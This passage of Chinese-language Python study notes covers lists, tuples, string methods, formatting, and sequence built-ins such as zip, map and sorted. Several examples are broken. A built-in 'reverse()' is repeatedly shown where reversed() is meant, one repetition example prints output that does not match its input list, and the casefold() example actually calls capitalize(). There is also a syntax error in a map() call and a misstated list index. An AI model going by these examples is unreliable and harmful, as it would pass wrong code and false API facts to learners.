4>>> food.pop()
'rice'
>>> food
['bread', 'egg', 'cake']
如果想要一步到位清空列表,可以使用 clear() 方法:1
2
3>>> food.clear()
>>> food
[]
8.5.3 改(修改列表中的元素)
列表跟字符串最大区别就是:列表是可变的,而字符串是不可变的。
替换列表中的元素跟访问元素类似,都是使用下标索引的方法,然后使用赋值运算符就可以将新的值给替换进去了:1
2
3
4>>> fruit = ['apple', 'apricot', 'cherries', 'coconut', 'mango', 'peach']
>>> fruit[3] = 'lychees'
>>> fruit
['apple', 'apricot', 'cherries', 'lychees', 'mango', 'peach']
如果有连续的多个元素需要替换,可以利用切片来实现:1
2
3>>> fruit[3:] = ['blackberries', 'cranberries', 'blueberries']
>>> fruit
['apple', 'apricot', 'cherries', 'blackberries', 'cranberries', 'blueberries']
排序与翻转
1 | >>> nums = [1, 4, 6, 9, 8, 2, 4, 7] |
sort() 方法还可以实现排序后翻转(即从大到小的排序):1
2
3
4>>> nums = [1, 4, 6, 9, 8, 2, 4, 7]
>>> nums.sort(reverse=True)
>>> nums
[9, 8, 7, 6, 4, 4, 2, 1]
- 这里可以参考
sort的用法
8.5.4 查(定位列表中的元素)
如果我们想知道 nums 这个列表里面到底有多少个 4,可以使用 count() 方法:1
2
3
4
5>>> nums
[9, 8, 7, 6, 4, 4, 2, 1]
>>> nums.count(4)
2
如果我们要查找 fruit 列表中,”cherries”这个元素的索引值,可以使用 index() 方法:1
2
3
4
5>>> fruit
['apple', 'apricot', 'cherries', 'blackberries', 'cranberries', 'blueberries']
>>> fruit.index('cherries')
2
index() 还可以直接更换列表中的元素1
2
3>>> fruit[fruit.index('cherries')] = 'melon'
>>> fruit
['apple', 'apricot', 'melon', 'blackberries', 'cranberries', 'blueberries']
相当于 fruit[ 4 ] = ‘melon’
index() 方法有两个可选的参数 —— start 和 end,index(x, start, end) 就是指定查找的开始和结束的下标位置:1
2
3
4>>> nums = [1, 4, 6, 9, 8, 2, 4, 7]
>>> nums.index(4, 2, 7)
6
列表还有一个方法叫 copy(),用于拷贝一个列表:1
2
3>>> nums_copy1 = nums.copy()
>>> nums_copy1
[1, 4, 6, 9, 8, 2, 4, 7]
我们也可以使用切片的语法来实现列表拷贝:1
2
3>>> nums_copy2 = nums[:]
>>> nums_copy2
[1, 4, 6, 9, 8, 2, 4, 7]
上面这两种拷贝方法实现的效果是等同的。
这两种拷贝的方法,在 Python 中都称为浅拷贝。
8.6 列表的加法和乘法
列表的加法,其实也是拼接,所以要求加号(+)两边都应该是列表,举个例子:1
2
3
4
5>>> s = [4, 5, 6]
>>> t = [1, 2, 3]
>>> s + t
[4, 5, 6, 1, 2, 3]
>>> matix = [[1, 2, 3],
列表的乘法,则是重复列表内部的所有元素若干次:1
2>>> s * 3
[1, 2, 3, 1, 2, 3, 1, 2, 3]
8.7 嵌套列表
Python 是允许列表进行嵌套的>>> matrix = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
可以把创建二维列表的语句这么写:1
2
3>>> matrix = [[1, 2, 3],
[4, 5, 6],
[7, 8, 9]]
这两种写法是等价的,只是后者在理解上更为直观。
8.8 访问嵌套列表
访问嵌套列表中的元素,可以使用嵌套的 for 语句来实现:1
2
3
4
5
6
7
8
9
10
11
12
13>>> for i in matrix:
... for each in i:
... print(each)
...
1
2
3
4
5
6
7
8
9
通过下标同样可以访问嵌套列表:1
2
3
4
5
6
7
8
9
10
11
12>>> matrix[0]
[1, 2, 3]
>>> matrix[1]
[4, 5, 6]
>>> matrix[2]
[7, 8, 9]
>>> matrix[0][0]
1
>>> matrix[1][1]
5
>>> matrix[2][2]
9
8.9 通过 for 语句来创建并初始化二维列表
1 | >>> A = [0] * 3 |
8.10 浅拷贝和深拷贝
浅拷贝:利用列表的 copy() 方法或者切片来实现
深拷贝:利用 copy 模块的 deepcopy() 函数来实现
浅拷贝可以用于处理一维列表,对于嵌套列表的拷贝,只能拷贝第一层数据,其余仅拷贝其引用:1
2
3
4
5
6
7
8
9
10
11>>> x = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
>>> y = x.copy() # 列表的 copy 方法
>>> x[1][1] = 0
>>> x
[[1, 2, 3], [4, 0, 6], [7, 8, 9]]
>>> y
[[1, 2, 3], [4, 0, 6], [7, 8, 9]]
>>> import copy
>>> x = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
>>> y = copy.copy(x) # copy 模块的copy函数 列表、字符串、元组 都可以拷贝
深拷贝可以用于处理多维列表:1
2
3
4
5
6
7>>> x = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
>>> y = copy.deepcopy(x)
>>> x[1][1] = 0
>>> x
[[1, 2, 3], [4, 0, 6], [7, 8, 9]]
>>> y
[[1, 2, 3], [4, 5, 6], [7, 8, 9]]
8.11 列表推导式
8.11.1 基础语法
[expression for target in iterable]
example:
掌握好列表推导式,会使代码变得更为简练和高效。
比如下面这个循环语句:1
2
3
4>>> this = [1, 2, 3, 4, 5]
...
>>> for i in range(len(this)):
... this[i] = this[i] * 2
写成列表推导式就是:1
2>>> this = [1, 2, 3, 4, 5]
>>> this = [i * 2 for i in this]
注意:这可不仅仅是少写了一行代码而已,从程序的执行效率上来说,列表推导式的效率通常是要比循环语句快上一倍左右的速度。 (因为列表推导式是用底层的C语言来执行)
8.11.2 处理矩阵
利用列表推导式处理矩阵也是非常方便,比如下面代码是将矩阵第 2 列的元素给提取出来:1
2
3
4
5
6>>> matrix = [[1, 2, 3],
... [4, 5, 6],
... [7, 8, 9]]
>>> col2 = [row[1] for row in matrix] #选取每行的第二个元素
>>> col2
[2, 5, 8]
又比如,下面代码是获取矩阵主对角线上的元素(就是从左上角到右下角这条对角线上的元素):1
2
3>>> diag = [matrix[i][i] for i in range(len(matrix))] #len()是推导列表里元素的角标
>>> diag
[1, 5, 9]
8.11.3 列表推导式创建二维数组
利用列表推导式,就可以很轻松地创建一个二维列表:1
2
3
4
5
6>>> S = [[0] * 3 for i in range(3)]
>>> S
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
>>> S[1][1] = 1
>>> S
[[0, 0, 0], [0, 1, 0], [0, 0, 0]]
8.11.4 带条件筛选功能的列表推导式
列表推导式其实还可以添加一个用于筛选的 if 分句,完整语法如下:[expression for target in iterable if condition1]
8.11.5 多层嵌套的列表推导式
列表推导式还可以变得更复杂一些,那就是实现嵌套,语法如下:1
2
3
4[expression for target1 in iterable1
for target2 in iterable2
...
for targetN in iterableN]
每层嵌套还可以附带一个用于条件筛选的 if 分句:1
2
3
4[expression for target1 in iterable1 if condition1
for target2 in iterable2 if condition2
...
for targetN in iterableN if conditionN]
9.元组
元组既能像列表那样同时容纳多种类型的对象,也拥有字符串不可变的特性。
9.1 元组和列表的不同点
- 列表使用方括号,元祖则是圆括号(也可以不带圆括号)
- 列表中的元素可以被修改,而元组不行
- 列表中涉及到修改元素的方法元组均不支持
- 列表的推导式叫列表推导式,元组的“推导式”叫生成器表达式
9.2 元组和列表的共同点
- 都可以通过下标获取元素
- 都支持切片操作
- 都支持 count() 方法和 index() 方法
- 都支持拼接(+)和重复(*)运算符
- 都支持嵌套
- 都支持迭代
9.3 圆括号的必要性
与其纠结什么时候省略圆括号会不会带来问题,还不如一直加上为妙。
这样也可以增加代码的可读性
9.4 当元组只有一个元素的时候
1 | >>> x = (6,) |
or1
2
3
4
5>>> x = 789,
>>> x
(789,)
>>> type(x)
<class 'tuple'>
9.5 打包和解包
生成一个元组有时候也称之为元组的打包:>>> t = (123, 'Mortal', 2.713)
将他们一次性赋值给三个变量名的行为,我们称之为解包:1
2
3
4
5
6>>> x
123
>>> y
'Mortal'
>>> z
2.713
注意: 赋值号左侧的变量名数量,必须跟右侧序列的元素数量一致,否则通常都会报错
9.6 多重赋值的真相
1 | >>> x, y = 5, 8 |
相当于1
2
3
4
5
6>>> _ = (5, 8)
>>> x, y = _
>>> x
5
>>> y
8
9.7 元组的修改
1 | >>> s = [1, 2, 3] |
10. 字符串
10.1.1大小写字母变换
capitalize() 返回将字符串中首字母大写,其余小写的新字符串1
2
3>>> x = "I love little Cat"
>>> x.capitalize()
'I love little cat'casefold() 返回全部小写的新字符串1
2>>> x.capitalize()
'I love little cat'title() 返回将字符串中每个单词首字母大写1
2>>> x.title()
'I Love Little Cat'swapcase() 返回将原字符串大小反转的新字符串1
2>>> x.swapcase()
'i LOVE LITTLE cAT'upper() 返回全部大写的新字符串1
2>>> x.upper()
'I LOVE LITTLE CAT'lower() 返回全部小写的新字符串1
2>>> x.lower()
'i love little cat'
10.1.2 左中右对齐
center(width, fillchar=' ')1
2>>> x.center(15)
' 小猫爱吃鱼 'ljust(width, fillchar=' ')1
2>>> x.ljust(15)
'小猫爱吃鱼 'rjust(width, fillchar=' ')1
2>>> x.rjust(15)
' 小猫爱吃鱼'zfill(15) 用0填充左侧1
2
3
4
5
6
7
8
9
10>>> "520".zfill(5)
'00520'
>>> "-520".zfill(5)
'-0520'
>>> x.center(15, "淦")
'淦淦淦有内鬼,停止交易!淦淦淦'
>>> x.ljust(15, "淦")
'有内鬼,停止交易!淦淦淦淦淦淦'
>>> x.rjust(15, "淦")
'淦淦淦淦淦淦有内鬼,停止交易!'
10.2.1 查找
count(sub[,start[,end]]) find(sub[, start[, end]]) rfind(sub[, start[, end]]) index(sub[, start[, end]]) rindex(sub[, start[, end]])
1 | >>> x = "上海自来水来自海上" |
10.2.2 替换
expandtabs([tabsize=8]) replace(old, new, count=-1) translate(table)
首先是 expandtabs([tabsize=8]) 方法,它的作用是使用空格替换制表符并返回新的字符串。
比如你现在在路边捡到一段代码,里面混了着 Tab 和空格:1
2
3>>> code = """
print("I love MoralSec.")
print("I love my wife.")"""
那么使用 expandtabs(tabsize=4) 方法,就可以将字符串中的 Tab 转换成空格,其中 tabsize 参数指定的是一个 Tab 使用多少个空格来代替:
1 | >>> new_code = code.expandtabs(4) |
replace(old, new, count=-1) 方法返回一个将所有 old 参数指定的子字符串替换为 new 的新字符串。另外,还有一个 count 参数是指定替换的次数,默认值 -1 表示替换全部。
1 | >>> "在吗!我在你家楼下,快点下来!!".replace("在吗", "想你") |
translate(table) 方法,这个是返回一个根据 table 参数(用于指定一个转换规则的表格)转换后的新字符串。
需要使用 str.maketrans(x[, y[, z]]) 方法制定一个包含转换规则的表格。
1 | >>> table = str.maketrans("ABCDEFG", "1234567") |
这个 str.maketrans() 方法还支持第三个参数,表示将其指定的字符串忽略:
1 | >>> "YOU ARE AN APPLE OF MY EYE".translate(str.maketrans("ABCDEFG", "1234567","ARE")) |
10.3.1 判断
startswith(prefix[, start[, end]]) endswith(suffix[, start[, end]]) istitle() isupper() islower() isalpha() isascii() isspace() isprintable() isdecimal() isdigit() isnumeric() isalnum() isidentifier()
这 14 个方法都是应对各种情况的判断,所以返回的都是一个布尔类型的值 —— 要么是 True,要么是 False。
startswith(prefix[, start[, end]]) 方法用于判断 prefix 参数指定的子字符串是否出现在字符串的起始位置:
1 | >>> x = "我爱Python" |
对应的,endswith(suffix[, start[, end]]) 方法则相反,用于判断 suffix 参数指定的子字符串是否出现在字符串的结束位置:1
2
3
4
5
6
7
8>>> x.startswith("我", 1)
False
>>> x.startswith("爱", 1)
True
>>> x.endswith("Py")
False
>>> x.endswith("Py", 0, 4)
True
这个 prefix 和 suffix 参数,其实是支持以元组的形式传入多个待匹配的字符串的:1
2
3
4
5>>> x = "她爱Pyhon"
>>> if x.startswith(("你", "我", "她")):
... print("总有人喜爱Pyhon")
...
总有人喜爱Pyhon
如果你希望判断一个字符串中的所有单词是否都是以大写字母开头,其余字母均为小写,那么可以使用 istitle() 方法进行测试:1
2
3>>> x = "I Love Python"
>>> x.istitle()
True
如果你希望判断一个字符串中所有字母是否都是大写,可以使用 isupper() 方法进行测试1
2
3
4>>> x.isupper()
False
>>> x.upper().isupper()
True
相反,判断是否所有字母都是小写,用 islower() 方法,我们这里就不再赘述了。
如果你希望判断一个字符串中是否只是由字母组成,可以使用 isalpha() 方法进行检测:1
2
3
4>>> x.isalpha()
False
>>> "IlovePython".isalpha()
True
如果你希望判断一个字符串中是否只是由 ASCII 字符组成,可以使用 isascii() 方法进行检测:1
2
3
4>>> x.isascii()
True
>>> "我爱Pyhon".isascii()
False
如果你希望判断是否为一个空白字符串,可以用 isspace() 方法进行检测:1
2>>> " \t\n".isspace()
True
如果你希望判断一个字符串中是否所有字符都是可打印的,可以使用 isprintable() 方法:1
2
3
4>>> x.isprintable()
True
>>> "I love FishC\n".isprintable()
False
isdecimal()、isdigit() 和 isnumeric() 三个方法都是用来判断数字的。
首先是十进制数字:1
2
3
4
5
6
7>>> x = "12345"
>>> x.isdecimal()
True
>>> x.isdigit()
True
>>> x.isnumeric()
True
如果写成罗马数字:1
2
3
4
5
6
7>>> x = "ⅠⅡⅢⅣⅤ"
>>> x.isdecimal()
False
>>> x.isdigit()
False
>>> x.isnumeric()
True
或者中文数字:1
2
3
4
5
6
7>>> x = "一二三四五"
>>> x.isdecimal()
False
>>> x.isdigit()
False
>>> x.isnumeric()
True
isdecimal() 和 isdigit() 方法都败下阵来了,但 isnumeric() 方法,其实连繁体数字也难不倒它地:1
2
3
4
5
6
7>>> x = "壹贰叁肆伍"
>>> x.isdecimal()
False
>>> x.isdigit()
False
>>> x.isnumeric()
True
isalnum() 方法则是集大成者,只要 isalpha()、isdecimal()、isdigit() 或者 isnumeric() 任意一个方法返回 True,结果都为 True。
最后,isidentifier() 方法用于判断该字符串是否一个合法的 Python 标识符1
2
3
4
5
6
7
8>>> "I a good gay".isidentifier()
False
>>> "I_a_good_gay".isidentifier()
True
>>> "FishC520".isidentifier()
True
>>> "520FishC".isidentifier()
False
如果你想判断一个字符串是否为 Python 的保留标识符,就是像 “if”、“for”、“while” 这些关键字的话,可以使用 keyword 模块的 iskeyword() 函数来实现:1
2
3
4
5>>> import keyword
>>> keyword.iskeyword("if")
True
>>> keyword.iskeyword("py")
False
10.4.1 截取
lstrip(chars=None)、rstrip(chars=None)、strip(chars=None)、removeprefix(prefix)、removesuffix(suffix)
这几个方法都是用来截取字符串的:1
2
3
4
5
6>>> " 左侧不要留白".lstrip()
'左侧不要留白'
>>> "右侧不要留白 ".rstrip()
'右侧不要留白'
>>> " 左右不要留白 ".strip()
'左右不要留白'
例题:如果要从字符串 “https://ilovefishc.com/html5/index.html“ 中提取出 “ilovefishc.com”,使用 split() 方法应该如何实现呢?1
2>>> "https://ilovefishc.com/html5/index.html".split('//')[1].split('/')[0]
'ilovefishc.com'
解析:1
2
3
4
5
6
7
8>>> "https://ilovefishc.com/html5/index.html".split('//')
['https:', 'ilovefishc.com/html5/index.html']
>>> "https://ilovefishc.com/html5/index.html".split('//')[1] #[1]为返回列表的索引
'ilovefishc.com/html5/index.html'
>>> "https://ilovefishc.com/html5/index.html".split('//')[1].split('/')
['ilovefishc.com', 'html5', 'index.html']
>>> "https://ilovefishc.com/html5/index.html".split('//')[1].split('/')[0]
'ilovefishc.com'
这三个方法都有一个 chars=None 的参数, None 在 Python 中表示没有,意思就是去除的是空白。
那么这个参数其实是可以给它传入一个字符串的:1
2
3
4
5
6>>> "www.github.com".lstrip("wcom.")
'github.com'
>>> "www.github.com".rstrip("wcom.")
'www.github'
>>> "www.github.com".strip("wcom.")
'github'
removeprefix(prefix) 和 removesuffix(suffix) 这两个方法,它们允许你指定将要删除的前缀或后缀:1
2
3
4>>> "www.github.com".removeprefix("www.")
'github.com'
>>> "www.github.com".removesuffix(".com")
'www.github'
10.4.2 拆分
partition(sep)、rpartition(sep)、split(sep=None, maxsplit=-1)、rsplit(sep=None, maxsplit=-1)、splitlines(keepends=False)
拆分字符串,言下之意就是把字符串给大卸八块,比如 partition(sep) 和 rpartition(sep) 方法,就是将字符串以 sep 参数指定的分隔符为依据进行切割,返回的结果是一个 3 元组(3 个元素的元组):1
2>>> "www.github.com".partition(".")
('www', '.', 'github.com')
partition(sep) 和 rpartition(sep) 方法的区别是前者是从左往右找分隔符,后者是从右往左找分隔符:1
2>>> "github.com/python".partition("/")
('github.com', '/', 'python')
注意:它俩如果找不到分隔符,返回的仍然是一个 3 元组,只不过将原字符串放在第一个元素,其它两个元素为空字符串。
split(sep=None, maxsplit=-1) 和 rsplit(sep=None, maxsplit=-1) 方法则是可以将字符串切成一块块:1
2
3
4
5
6
7
8>>> "苟日新,日日新,又日新".split(",")
['苟日新', '日日新', '又日新']
>>> "苟日新,日日新,又日新".rsplit(",")
['苟日新', '日日新', '又日新']
>>> "苟日新,日日新,又日新".split(",", 1)
['苟日新', '日日新,又日新']
>>> "苟日新,日日新,又日新".rsplit(",", 1)
['苟日新,日日新', '又日新']
splitlines(keepends=False) 方法会将字符串进行按行分割,并将结果以列表的形式返回1
2
3
4
5
6>>> "苟日新\n日日新\n又日新".splitlines()
['苟日新', '日日新', '又日新']
>>> "苟日新\r日日新\r又日新".splitlines()
['苟日新', '日日新', '又日新']
>>> "苟日新\r日日新\r\n又日新".splitlines()
['苟日新', '日日新', '又日新']
keepends 参数用于指定结果是否包含换行符,True 是包含,默认 False 则表示是不包含:1
2>>> "苟日新\r日日新\r\n又日新".splitlines(True)
['苟日新\r', '日日新\r\n', '又日新']
10.4.3 拼接
join(iterable) 方法是用于实现字符串拼接的。
虽然的它的用法在初学者看来是非常难受的,但是在实际开发中,它却常常是受到大神追捧的一个方法。
字符串是作为分隔符使用,然后 iterable 参数指定插入的子字符串:1
2
3
4
5
6>>> ".".join(["www", "ilovefishc", "com"])
'www.ilovefishc.com'
>>> "^".join(("F", "ish", 'C'))
'F^ish^C'
>>> "".join(("FishC", "FishC"))
'FishCFishC'
10.5.1 格式化字符串
在字符串中,格式化字符串的套路就是使用一对花括号({})来表示替换字段,就在原字符串中先占一个坑的意思,然后真正的内容被放在了 format() 方法的参数中。
1 | >>> year = 2010 |
又比如:1
2>>> "1+2={}, 2的平方是{},3的立方是{}".format(1+2, 2*2, 3*3*3)
'1+2=3, 2的平方是4,3的立方是27'
在花括号里面,可以写上数字,表示参数的位置:1
2>>> "{1}看到{0}就很激动!".format("mortal", "漂亮的小姐姐")
'漂亮的小姐姐看到mortal就很激动!'
注意,同一个索引值是可以被多次引用的:1
2>>> "{0}{0}{1}{1}".format("是", "非")
'是是非非'
还可以通过关键字进行索引,比如:1
2>>> "我叫{name},我爱{fav}。".format(name="mortal", fav="Pyhon")
'我叫mortal,我爱Pyhon。'
当然,位置索引和关键字索引可以组合使用:1
2>>> "我叫{name},我爱{0}。喜爱{0}的人,运气都不会太差^o^".format("python", name="mortal")
'我叫mortal,我爱python。喜爱python的人,运气都不会太差^o^'
如果我只是想单纯的输出一个纯洁的花括号,那应该怎么办呢?
有两种办法可以把这个纯洁的花括号安排进去:1
2
3
4>>> "{}, {}, {}".format(1, "{}", 2)
'1, {}, 2'
>>> "{}, {{}}, {}".format(1, 2)
'1, {}, 2'
10.5.2 字符串格式化语法参考
以下所解锁的新知识,可以直接在字符串的 format() 方法上使用,也可以用于 Python3.6 后新添加的f-字符串。1
2
3
4
5
6
7
8format_spec ::= [[fill]align][sign][#][0][width][grouping_option][.precision][type]
fill ::= <any character>
align ::= "<" | ">" | "=" | "^"
sign ::= "+" | "-" | " "
width ::= digit+
grouping_option ::= "_" | ","
precision ::= digit+
type ::= "b" | "c" | "d" | "e" | "E" | "f" | "F" | "g" | "G" | "n" | "o" | "s" | "x" | "X" | "%"
https://fishc.com.cn/thread-185807-1-1.html 字符串格式化语法参考
10.5.2.1 对齐选项([align])

1 | >>> "{:^}".format(250) |
"{1:>10}{0:<10}".format(520, 250) 1 ~ 位置索引 > ~ 对齐方向 10 ~ 显示宽度
10.5.2.2 填充选项([fill])
在指定宽度的前面还可以添加一个 ‘0’,则表示为数字类型启用感知正负号的 ‘0’ 填充效果:1
2
3
4>>> "{:010}".format(520)
'0000000520'
>>> "{:010}".format(-520)
'-000000520'
注意,这种用法只对数字有效:
1 | >>> "{:010}".format("FishC") |
还可以在对齐([align])选项的前面通过填充选项([fill])来指定填充的字符:1
2
3
4
5
6>>> "{1:%>10}{0:%<10}".format(520, 250)
'%%%%%%%250520%%%%%%%'
>>> "{:0=10}".format(520)
'0000000520'
>>> "{:0=10}".format(-520)
'-000000520'
10.5.3 符号([sign])选项
符号([sign])选项仅对数字类型有效,可以使用下面3个值:

10.5.4 精度([.precision])选项
精度([.precision])选项是一个十进制整数,对于不同类型的参数,它的效果是不一样的:
- 对于以 ‘f’ 或 ‘F’ 格式化的浮点数值来说,是限定小数点后显示多少个数位
- 对于以 ‘g’ 或 ‘G’ 格式化的浮点数值来说,是限定小数点前后共显示多少个数位
- 对于非数字类型来说,限定最大字段的大小(换句话说就是要使用多少个来自字段内容的字符)
- 对于整数来说,则不允许使用该选项值
10.5.5 类型([type])选项
类型([type])选项决定了数据应该如何呈现。
以下类型适用于整数:![适用整数]](/image/类型整数.jpg)
以下类型值适用于浮点数、复数和整数(自动转换为等值的浮点数)如下:
10.5.7 更灵活的玩法
Python 事实上支持通过关键参数来设置选项的值,比如下面代码通过参数来调整输出的精度:1
2>>> "{:.{prec}f}".format(3.1415, prec=2)
'3.14'
同时设置多个选项也是没问题的,只要你自己不乱,Python 就不会乱:1
2>>> "{:{fill}{align}{width}.{prec}{ty}}".format(3.1415, fill='+', align='^', width=10, prec=3, ty='g')
'+++3.14+++'
10.5.8 f-字符串
Python 随着版本的更迭,它的语法也是在不断完善的。“简洁胜于复杂”是 Python 之禅中强调的理念。
因此,在 Python3.6 的更新中,他们给添加了一个新的语法,叫 f-string,也就是 f-字符串。
f-string 可以直接看作是 format() 方法的语法糖,它进一步简化了格式化字符串的操作并带来了性能上的提升。
- 注:语法糖(英语:Syntactic sugar)是由英国计算机科学家彼得·兰丁发明的一个术语,指计算机语言中添加的某种语法,这种语法对语言的功能没有影响,但是更方便程序员使用。语法糖让程序更加简洁,有更高的可读性。
来,我们使用 f-string 将前面讲解 format() 方法的例子给大家修改一遍,你就知道该怎么玩了:
1 | >>> year = 2010 |
11 序列
11.1 列表、元组、字符串的共同点
- 都可以通过索引获取每一个元素
- 第一个元素的索引值都是 0
- 都可以通过切片的方法获得一个范围内的元素的集合
- 有很多共同的运算符
因此,列表、元组和字符串,Python 将它们统称为序列。
根据是否能被修改这一特性,可以将序列分为可变序列和不可变序列:比如列表就是可变序列,而元组和字符串则是不可变序列。
11.2 加号(+)和乘号(*)
首先是加减乘除,只有加号(+)和乘号(*)可以用上,序列之间的加法表示将两个序列进行拼接;乘法表示将序列进行重复,也就是拷贝:
1 | >>> [1, 2, 3] + [4, 5, 6] |
11.3 关于 “可变” 和 “不可变” 的思考
可变序列1
2
3
4
5
6
7
8>>> s = [1, 2, 3]
>>> id(s)
2285532322944
>>> s *= 2
>>> s
[1, 2, 3, 1, 2, 3]
>>> id(s)
2285532322944
不可变序列1
2
3
4
5
6
7
8>>> t = (1, 2, 3)
>>> id(t)
2285532205952
>>> t *= 2
>>> t
(1, 2, 3, 1, 2, 3)
>>> id(t)
2285532393920 #观察这里
虽然可变序列和不可变序列看上去都是 “可变” 的,但实现原理却是天壤之别:可变序列是在原位置修改 “扩容”,而不可变序列则是将内容 “扩容” 后再放到一个新的位置上去。
11.4 是(is)和不是(is not)
是(is)和不是(is not)被称之为同一性运算符,用于检测两个对象之间的 id 值是否相等:1
2
3
4
5
6
7
8>>> x = "FishC"
>>> y = "FishC"
>>> x is y
True
>>> x = [1, 2, 3]
>>> y = [1, 2, 3]
>>> x is not y
True
11.5 包含(in)和不包含(not in)
in 运算符是用于判断某个元素是否包含在序列中的,而 not in 则恰恰相反:1
2
3
4
5
6>>> "Fish" in "FishC"
True
>>> "鱼" in "鱼C"
True
>>> "C" not in "FishC"
False
11.6 del 语句
del 语句用于删除一个或多个指定的对象:
1 | >>> x = "FishC" |
11.7 list()、tuple() 和 str()
list()、tuple() 和 str() 这三个 BIF 函数主要是实现列表、元组和字符串的转换。
11.8 min() 和 max()
min() 和 max() 这两个函数的功能是:对比传入的参数,并返回最小值和最大值。
它们都有两种函数原型
1 | min(iterable, *[, key, default]) |
以及1
2max(iterable, *[, key, default])
max(arg1, arg2, *args[, key])
这第一种传入的是一个可迭代对象:1
2
3
4
5
6>>> s = [1, 1, 2, 3, 5]
>>> min(s)
1
>>> t = "Mortal"
>>> max(t)
't'
这第二种传入多个参数,它们会自动找出其中的最小值和最大值:1
2
3
4>>> min(1, 2, 3, 0, 6)
0
>>> max(1, 2, 3, 0, 6)
6
11.9 len() 和 sum()
len() 函数我们前面用过好多次了,基本用法不必啰嗦,大家都懂~
不过它有个最大的可承受范围,可能有些同学还不知道,比如说这样1
2
3
4
5>>> len(range(2 ** 100))
Traceback (most recent call last):
File "<pyshell#42>", line 1, in <module>
len(range(2 ** 100))
OverflowError: Python int too large to convert(转换) to C ssize_t
这个错误是由于 len() 函数的参数太大导致的,我们知道 Python 为了执行的效率,它内部几乎都是用效率更高的 C 语言来实现的。
而这个 len() 函数为了让 Python 自带的数据结构可以走后门,它会直接读取 C 语言结构体里面对象的长度。
所以,如果检测的对象超过某个数值,就会出错。
通常对于 32 位平台来说,这个最大的数值是 2**31 - 1;而对于 64 位平台来说,这个最大的数值是 2**63 - 1。
sum() 函数用于计算迭代对象中各项的和:1
2
3>>> s = [1, 0, 0, 8, 6]
>>> sum(s)
15
它有一个 start 参数,用于指定求和计算的起始数值,比如这里我们设置为从 100 开始加起:1
2>>> sum(s, start=100)
115
11.10 sorted() 和 reverse()
sorted() 函数将重新排序 iterable 参数中的元素,并将结果返回一个新的列表:
1 | >>> s = [1, 2, 3, 0, 6] |
sorted() 函数也支持 key 和 reverse 两个参数,用法跟列表的 sort() 方法一致:1
2
3
4
5
6
7
8
9
10>>> sorted(s, reverse=True)
[6, 3, 2, 1, 0]
>>> s.sort(reverse=True)
>>> s
[6, 3, 2, 1, 0]
>>> t = ["FishC", "Apple", "Book", "Banana", "Pen"]
>>> sorted(t)
['Apple', 'Banana', 'Book', 'FishC', 'Pen']
>>> sorted(t, key=len)
['Pen', 'Book', 'FishC', 'Apple', 'Banana']
sorted(t, key=len) 这个,因为这个 key 参数,指定的是一个干预排序算法的函数。
比如这里我们指定为 len() 函数,那么 Python 在排序的过程中,就会先将列表中的每一个元素调用一次 len() 函数,然后比较的是 len() 返回的结果。
所以,sorted(t, key=len) 比较的就是每个元素的长度。
reverse() 函数将返回参数的反向迭代器。
举个例子:1
2
3>>> s = [1, 2, 5, 8, 0]
>>> reverse(s)
<list_reverseiterator object at 0x0000022926732AC0>
大家看,它不是直接返回所见即所得的结果,它返回的一串奇奇怪怪的英文……
刚刚我们说过,它返回的结果是一个迭代器,并且我们可以把它当可迭代对象处理。
既然如此,我们就可以使用 list() 函数将其转换为列表1
2>>> list(reverse(s))
[0, 8, 5, 2, 1]
reverse() 函数也同样支持任何形式的可迭代对象:1
2
3
4
5
6>>> list(reverse("FishC"))
['C', 'h', 's', 'i', 'F']
>>> list(reverse((1, 2, 5, 9, 3)))
[3, 9, 5, 2, 1]
>>> list(reverse(range(0, 10)))
[9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
11.11 all()和any()
all() 函数是判断可迭代对象中是否所有元素的值都为真;
any() 函数则是判断可迭代对象中是否存在某个元素的值为真。
1 | >>> x = [1, 1, 0] |
11.12 enumerate()
enumerate() 函数用于返回一个枚举对象,它的功能就是将可迭代对象中的每个元素及从 0 开始的序号共同构成一个二元组的列表:1
2
3>>> seasons = ["Spring", "Summer", "Fall", "Winter"]
>>> list(enumerate(seasons))
[(0, 'Spring'), (1, 'Summer'), (2, 'Fall'), (3, 'Winter')]
它有一个 start 参数,可以自定义序号开始的值:1
2
3
4
5
6
7>>> for i, j in enumerate(seasons, start=10):
... print(i, "->", j)
...
10 -> Spring
11 -> Summer
12 -> Fall
13 -> Winter
11.13 zip()
zip() 函数用于创建一个聚合多个可迭代对象的迭代器。
做法是将作为参数传入的每个可迭代对象的每个元素依次组合成元组,即第 i 个元组包含来自每个参数的第 i 个元素。
1 | >>> x = [1, 2, 3] |
这里有一点需要大家注意的,就是如果传入的可迭代对象长度不一致,那么将会以最短的那个为准:1
2
3
4>>> z = "FishC"
>>> zipped = zip(x, y, z)
>>> list(zipped)
[(1, 4, 'F'), (2, 5, 'i'), (3, 6, 's')]
当我们不关心较长的可迭代对象多出的数据时,使用 zip() 函数无疑是最佳的选择,因为它自动裁掉多余的部分。
但是,如果那些值对于我们来说是有意义的,我们可以使用 itertools 模块的 zip_longest() 函数来代替:1
2
3
4>>> import itertools
>>> zipped = itertools.zip_longest(x, y, z)
>>> list(zipped)
[(1, 4, 'F'), (2, 5, 'i'), (3, 6, 's'), (None, None, 'h'), (None, None, 'C')]
11.14 map()
map() 函数会根据提供的函数对指定的可迭代对象的每个元素进行运算,并将返回运算结果的迭代器:
1 | >>> mapped = map(ord, "FishC") |
如果指定的函数需要两个参数,后面跟着的可迭代对象的数量也应该是两个:1
2
3>>> mapped = map(pow, [2, 3, 10], [5, 2, 3]))
>>> list(mapped)
[32, 9, 1000]
上面代码其实就相当于是:1
2>>> [pow(2, 5), pow(3, 2), pow(10, 3)]
[32, 9, 1000]
可以看出,如果数量一多,使用 map() 函数要方便许多。
如果可迭代对象的长度不一致,那么 Python 采取的做法跟 zip() 函数一样,都是在最短的可迭代对象终止时结束:1
2>>> list(map(max, [1, 3, 5], [2, 2, 2], [0, 3, 9, 8]))
[2, 3, 9]
11.15 filter()
与 map() 函数类似,filter() 函数也是需要传入一个函数作为参数,不过 filter() 函数是根据提供的函数,对指定的可迭代对象的每个元素进行运算,并将运算结果为真的元素,以迭代器的形式返回:
1 | >>> filter(str.islower, "FishC") |
